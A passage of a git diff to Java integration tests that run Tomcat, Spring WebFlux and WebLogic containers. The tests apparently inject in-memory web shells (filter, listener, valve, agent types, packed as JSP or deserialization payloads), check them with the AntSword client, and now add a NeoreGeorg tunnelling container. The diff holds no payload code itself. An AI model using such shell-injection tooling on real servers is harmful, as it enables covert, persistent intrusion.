.withNetworkAliases("app")
|
||||||
.waitingFor(Wait.forHttp("/test"))
|
.waitingFor(Wait.forHttp("/test"))
|
||||||
.withExposedPorts(8080);
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
@@ -56,7 +64,7 @@ public class SpringBoot3WebFluxContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.SpringWebFlux, shellType, shellTool, Opcodes.V17, packer);
|
testShellInjectAssertOk(getUrl(container), Server.SpringWebFlux, shellType, shellTool, Opcodes.V17, packer, container, python);
|
||||||
}
|
}
|
||||||
|
|
||||||
public static String getUrl(GenericContainer<?> container) {
|
public static String getUrl(GenericContainer<?> container) {
|
||||||
|
|||||||
+11
-2
@@ -12,7 +12,9 @@ import org.junit.jupiter.params.ParameterizedTest;
|
|||||||
import org.junit.jupiter.params.provider.Arguments;
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
import org.junit.jupiter.params.provider.MethodSource;
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
@@ -32,17 +34,24 @@ import static org.hamcrest.MatcherAssert.assertThat;
|
|||||||
@Testcontainers
|
@Testcontainers
|
||||||
public class Tomcat10ContainerTest {
|
public class Tomcat10ContainerTest {
|
||||||
public static final String imageName = "tomcat:10.1-jre11";
|
public static final String imageName = "tomcat:10.1-jre11";
|
||||||
|
static Network network = Network.newNetwork();
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
|
.withDockerfile(neoGeorgDockerfile))
|
||||||
|
.withNetwork(network);
|
||||||
@Container
|
@Container
|
||||||
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
.withCopyToContainer(warJakartaFile, "/usr/local/tomcat/webapps/app.war")
|
.withCopyToContainer(warJakartaFile, "/usr/local/tomcat/webapps/app.war")
|
||||||
.withCopyToContainer(jattachFile, "/jattach")
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
.withCopyToContainer(tomcatPid, "/fetch_pid.sh")
|
.withCopyToContainer(tomcatPid, "/fetch_pid.sh")
|
||||||
|
.withNetwork(network)
|
||||||
|
.withNetworkAliases("app")
|
||||||
.waitingFor(Wait.forHttp("/app"))
|
.waitingFor(Wait.forHttp("/app"))
|
||||||
.withExposedPorts(8080);
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
Server server = Server.Tomcat;
|
Server server = Server.Tomcat;
|
||||||
List<String> supportedShellTypes = List.of(ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE, ShellType.JAKARTA_WEBSOCKET,
|
List<String> supportedShellTypes = List.of(ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE, ShellType.JAKARTA_WEBSOCKET,
|
||||||
ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE);
|
ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
|
||||||
@@ -58,6 +67,6 @@ public class Tomcat10ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V11, packer, container);
|
testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V11, packer, container, python);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+10
-1
@@ -12,7 +12,9 @@ import org.junit.jupiter.params.ParameterizedTest;
|
|||||||
import org.junit.jupiter.params.provider.Arguments;
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
import org.junit.jupiter.params.provider.MethodSource;
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
@@ -33,11 +35,18 @@ import static org.hamcrest.MatcherAssert.assertThat;
|
|||||||
public class Tomcat11ContainerTest {
|
public class Tomcat11ContainerTest {
|
||||||
|
|
||||||
public static final String imageName = "tomcat:11.0-jre17";
|
public static final String imageName = "tomcat:11.0-jre17";
|
||||||
|
static Network network = Network.newNetwork();
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
|
.withDockerfile(neoGeorgDockerfile))
|
||||||
|
.withNetwork(network);
|
||||||
@Container
|
@Container
|
||||||
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
.withCopyToContainer(warJakartaFile, "/usr/local/tomcat/webapps/app.war")
|
.withCopyToContainer(warJakartaFile, "/usr/local/tomcat/webapps/app.war")
|
||||||
.withCopyToContainer(jattachFile, "/jattach")
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
.withCopyToContainer(tomcatPid, "/fetch_pid.sh")
|
.withCopyToContainer(tomcatPid, "/fetch_pid.sh")
|
||||||
|
.withNetwork(network)
|
||||||
|
.withNetworkAliases("app")
|
||||||
.waitingFor(Wait.forHttp("/app"))
|
.waitingFor(Wait.forHttp("/app"))
|
||||||
.withExposedPorts(8080);
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
@@ -59,6 +68,6 @@ public class Tomcat11ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V17, packer, container);
|
testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V17, packer, container, python);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+11
-1
@@ -12,7 +12,9 @@ import org.junit.jupiter.params.ParameterizedTest;
|
|||||||
import org.junit.jupiter.params.provider.Arguments;
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
import org.junit.jupiter.params.provider.MethodSource;
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
@@ -33,11 +35,19 @@ import static org.hamcrest.MatcherAssert.assertThat;
|
|||||||
public class Tomcat11JRE21ContainerTest {
|
public class Tomcat11JRE21ContainerTest {
|
||||||
|
|
||||||
public static final String imageName = "tomcat:11.0-jre21";
|
public static final String imageName = "tomcat:11.0-jre21";
|
||||||
|
static Network network = Network.newNetwork();
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
|
.withDockerfile(neoGeorgDockerfile))
|
||||||
|
.withNetwork(network);
|
||||||
|
|
||||||
@Container
|
@Container
|
||||||
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
.withCopyToContainer(warJakartaFile, "/usr/local/tomcat/webapps/app.war")
|
.withCopyToContainer(warJakartaFile, "/usr/local/tomcat/webapps/app.war")
|
||||||
.withCopyToContainer(jattachFile, "/jattach")
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
.withCopyToContainer(tomcatPid, "/fetch_pid.sh")
|
.withCopyToContainer(tomcatPid, "/fetch_pid.sh")
|
||||||
|
.withNetwork(network)
|
||||||
|
.withNetworkAliases("app")
|
||||||
.waitingFor(Wait.forHttp("/app"))
|
.waitingFor(Wait.forHttp("/app"))
|
||||||
.withExposedPorts(8080);
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
@@ -59,6 +69,6 @@ public class Tomcat11JRE21ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V21, packer, container);
|
testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V21, packer, container, python);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+12
-1
@@ -12,7 +12,9 @@ import org.junit.jupiter.params.ParameterizedTest;
|
|||||||
import org.junit.jupiter.params.provider.Arguments;
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
import org.junit.jupiter.params.provider.MethodSource;
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
@@ -32,11 +34,20 @@ import static org.hamcrest.MatcherAssert.assertThat;
|
|||||||
@Testcontainers
|
@Testcontainers
|
||||||
public class Tomcat5ContainerTest {
|
public class Tomcat5ContainerTest {
|
||||||
public static final String imageName = "reajason/tomcat:5-jdk6";
|
public static final String imageName = "reajason/tomcat:5-jdk6";
|
||||||
|
|
||||||
|
static Network network = Network.newNetwork();
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
|
.withDockerfile(neoGeorgDockerfile))
|
||||||
|
.withNetwork(network);
|
||||||
|
|
||||||
@Container
|
@Container
|
||||||
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
.withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war")
|
.withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war")
|
||||||
.withCopyToContainer(jattachFile, "/jattach")
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
.withCopyToContainer(tomcatPid, "/fetch_pid.sh")
|
.withCopyToContainer(tomcatPid, "/fetch_pid.sh")
|
||||||
|
.withNetwork(network)
|
||||||
|
.withNetworkAliases("app")
|
||||||
.waitingFor(Wait.forHttp("/app"))
|
.waitingFor(Wait.forHttp("/app"))
|
||||||
.withExposedPorts(8080);
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
@@ -57,6 +68,6 @@ public class Tomcat5ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_6, packer, container);
|
testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
+10
-1
@@ -12,7 +12,9 @@ import org.junit.jupiter.params.ParameterizedTest;
|
|||||||
import org.junit.jupiter.params.provider.Arguments;
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
import org.junit.jupiter.params.provider.MethodSource;
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
@@ -32,11 +34,18 @@ import static org.hamcrest.MatcherAssert.assertThat;
|
|||||||
@Testcontainers
|
@Testcontainers
|
||||||
public class Tomcat6ContainerTest {
|
public class Tomcat6ContainerTest {
|
||||||
public static final String imageName = "reajason/tomcat:6-jdk6";
|
public static final String imageName = "reajason/tomcat:6-jdk6";
|
||||||
|
static Network network = Network.newNetwork();
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
|
.withDockerfile(neoGeorgDockerfile))
|
||||||
|
.withNetwork(network);
|
||||||
@Container
|
@Container
|
||||||
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
.withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war")
|
.withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war")
|
||||||
.withCopyToContainer(jattachFile, "/jattach")
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
.withCopyToContainer(tomcatPid, "/fetch_pid.sh")
|
.withCopyToContainer(tomcatPid, "/fetch_pid.sh")
|
||||||
|
.withNetwork(network)
|
||||||
|
.withNetworkAliases("app")
|
||||||
.waitingFor(Wait.forHttp("/app"))
|
.waitingFor(Wait.forHttp("/app"))
|
||||||
.withExposedPorts(8080);
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
@@ -58,6 +67,6 @@ public class Tomcat6ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_6, packer, container);
|
testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
+10
-1
@@ -12,7 +12,9 @@ import org.junit.jupiter.params.ParameterizedTest;
|
|||||||
import org.junit.jupiter.params.provider.Arguments;
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
import org.junit.jupiter.params.provider.MethodSource;
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
@@ -32,11 +34,18 @@ import static org.hamcrest.MatcherAssert.assertThat;
|
|||||||
@Testcontainers
|
@Testcontainers
|
||||||
public class Tomcat7ContainerTest {
|
public class Tomcat7ContainerTest {
|
||||||
public static final String imageName = "tomcat:7.0.85-jre7";
|
public static final String imageName = "tomcat:7.0.85-jre7";
|
||||||
|
static Network network = Network.newNetwork();
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
|
.withDockerfile(neoGeorgDockerfile))
|
||||||
|
.withNetwork(network);
|
||||||
@Container
|
@Container
|
||||||
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
.withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war")
|
.withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war")
|
||||||
.withCopyToContainer(jattachFile, "/jattach")
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
.withCopyToContainer(tomcatPid, "/fetch_pid.sh")
|
.withCopyToContainer(tomcatPid, "/fetch_pid.sh")
|
||||||
|
.withNetwork(network)
|
||||||
|
.withNetworkAliases("app")
|
||||||
.waitingFor(Wait.forHttp("/app"))
|
.waitingFor(Wait.forHttp("/app"))
|
||||||
.withExposedPorts(8080);
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
@@ -57,6 +66,6 @@ public class Tomcat7ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_7, packer, container);
|
testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_7, packer, container, python);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
+11
-1
@@ -12,7 +12,9 @@ import org.junit.jupiter.params.ParameterizedTest;
|
|||||||
import org.junit.jupiter.params.provider.Arguments;
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
import org.junit.jupiter.params.provider.MethodSource;
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
@@ -33,11 +35,19 @@ import static org.hamcrest.MatcherAssert.assertThat;
|
|||||||
public class Tomcat8ContainerTest {
|
public class Tomcat8ContainerTest {
|
||||||
public static final String imageName = "tomcat:8-jre8";
|
public static final String imageName = "tomcat:8-jre8";
|
||||||
|
|
||||||
|
static Network network = Network.newNetwork();
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
|
.withDockerfile(neoGeorgDockerfile))
|
||||||
|
.withNetwork(network);
|
||||||
|
|
||||||
@Container
|
@Container
|
||||||
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
.withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war")
|
.withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war")
|
||||||
.withCopyToContainer(jattachFile, "/jattach")
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
.withCopyToContainer(tomcatPid, "/fetch_pid.sh")
|
.withCopyToContainer(tomcatPid, "/fetch_pid.sh")
|
||||||
|
.withNetwork(network)
|
||||||
|
.withNetworkAliases("app")
|
||||||
.waitingFor(Wait.forHttp("/app"))
|
.waitingFor(Wait.forHttp("/app"))
|
||||||
.withExposedPorts(8080);
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
@@ -58,6 +68,6 @@ public class Tomcat8ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_8, packer, container);
|
testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_8, packer, container, python);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
+10
-1
@@ -12,7 +12,9 @@ import org.junit.jupiter.params.ParameterizedTest;
|
|||||||
import org.junit.jupiter.params.provider.Arguments;
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
import org.junit.jupiter.params.provider.MethodSource;
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
@@ -32,11 +34,18 @@ import static org.hamcrest.MatcherAssert.assertThat;
|
|||||||
@Testcontainers
|
@Testcontainers
|
||||||
public class Tomcat9ContainerTest {
|
public class Tomcat9ContainerTest {
|
||||||
public static final String imageName = "tomcat:9-jre9";
|
public static final String imageName = "tomcat:9-jre9";
|
||||||
|
static Network network = Network.newNetwork();
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
|
.withDockerfile(neoGeorgDockerfile))
|
||||||
|
.withNetwork(network);
|
||||||
@Container
|
@Container
|
||||||
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
.withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war")
|
.withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war")
|
||||||
.withCopyToContainer(jattachFile, "/jattach")
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
.withCopyToContainer(tomcatPid, "/fetch_pid.sh")
|
.withCopyToContainer(tomcatPid, "/fetch_pid.sh")
|
||||||
|
.withNetwork(network)
|
||||||
|
.withNetworkAliases("app")
|
||||||
.waitingFor(Wait.forHttp("/app"))
|
.waitingFor(Wait.forHttp("/app"))
|
||||||
.withExposedPorts(8080);
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
@@ -58,6 +67,6 @@ public class Tomcat9ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V9, packer, container);
|
testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V9, packer, container, python);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+10
-1
@@ -12,7 +12,9 @@ import org.junit.jupiter.params.ParameterizedTest;
|
|||||||
import org.junit.jupiter.params.provider.Arguments;
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
import org.junit.jupiter.params.provider.MethodSource;
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
||||||
import org.testcontainers.containers.wait.strategy.Wait;
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||||
import org.testcontainers.junit.jupiter.Container;
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
import org.testcontainers.shaded.org.apache.commons.lang3.tuple.Triple;
|
import org.testcontainers.shaded.org.apache.commons.lang3.tuple.Triple;
|
||||||
@@ -31,11 +33,18 @@ import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjec
|
|||||||
@Slf4j
|
@Slf4j
|
||||||
public class WebLogic1036ContainerTest {
|
public class WebLogic1036ContainerTest {
|
||||||
public static final String imageName = "reajason/weblogic:10.3.6";
|
public static final String imageName = "reajason/weblogic:10.3.6";
|
||||||
|
static Network network = Network.newNetwork();
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
|
.withDockerfile(neoGeorgDockerfile))
|
||||||
|
.withNetwork(network);
|
||||||
@Container
|
@Container
|
||||||
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
.withCopyToContainer(warFile, "/opt/oracle/wls1036/user_projects/domains/base_domain/autodeploy/app.war")
|
.withCopyToContainer(warFile, "/opt/oracle/wls1036/user_projects/domains/base_domain/autodeploy/app.war")
|
||||||
.withCopyToContainer(jattachFile, "/jattach")
|
.withCopyToContainer(jattachFile, "/jattach")
|
||||||
.withCopyToContainer(weblogicPid, "/fetch_pid.sh")
|
.withCopyToContainer(weblogicPid, "/fetch_pid.sh")
|
||||||
|
.withNetwork(network)
|
||||||
|
.withNetworkAliases("app")
|
||||||
.waitingFor(Wait.forHttp("/app"))
|
.waitingFor(Wait.forHttp("/app"))
|
||||||
.withExposedPorts(7001);
|
.withExposedPorts(7001);
|
||||||
|
|
||||||
@@ -59,7 +68,7 @@ public class WebLogic1036ContainerTest {
|
|||||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
testShellInjectAssertOk(getUrl(container), Server.WebLogic, shellType, shellTool, Opcodes.V1_6, packer, container);
|
testShellInjectAssertOk(getUrl(container), Server.WebLogic, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
||||||
}
|
}
|
||||||
|
|
||||||
public static String getUrl(GenericContainer<?> container) {
|
public static String getUrl(GenericContainer<?> container) {
|
||||||
|
|||||||
+10
-1
@@ -12,7 +12,9 @@ import org.junit.jupiter.params.ParameterizedTest;
|
|||||||
import org.junit.jupiter.params.provider.Arguments;
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
import org.junit.jupiter.params.provider.MethodSource;
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.Network;
|
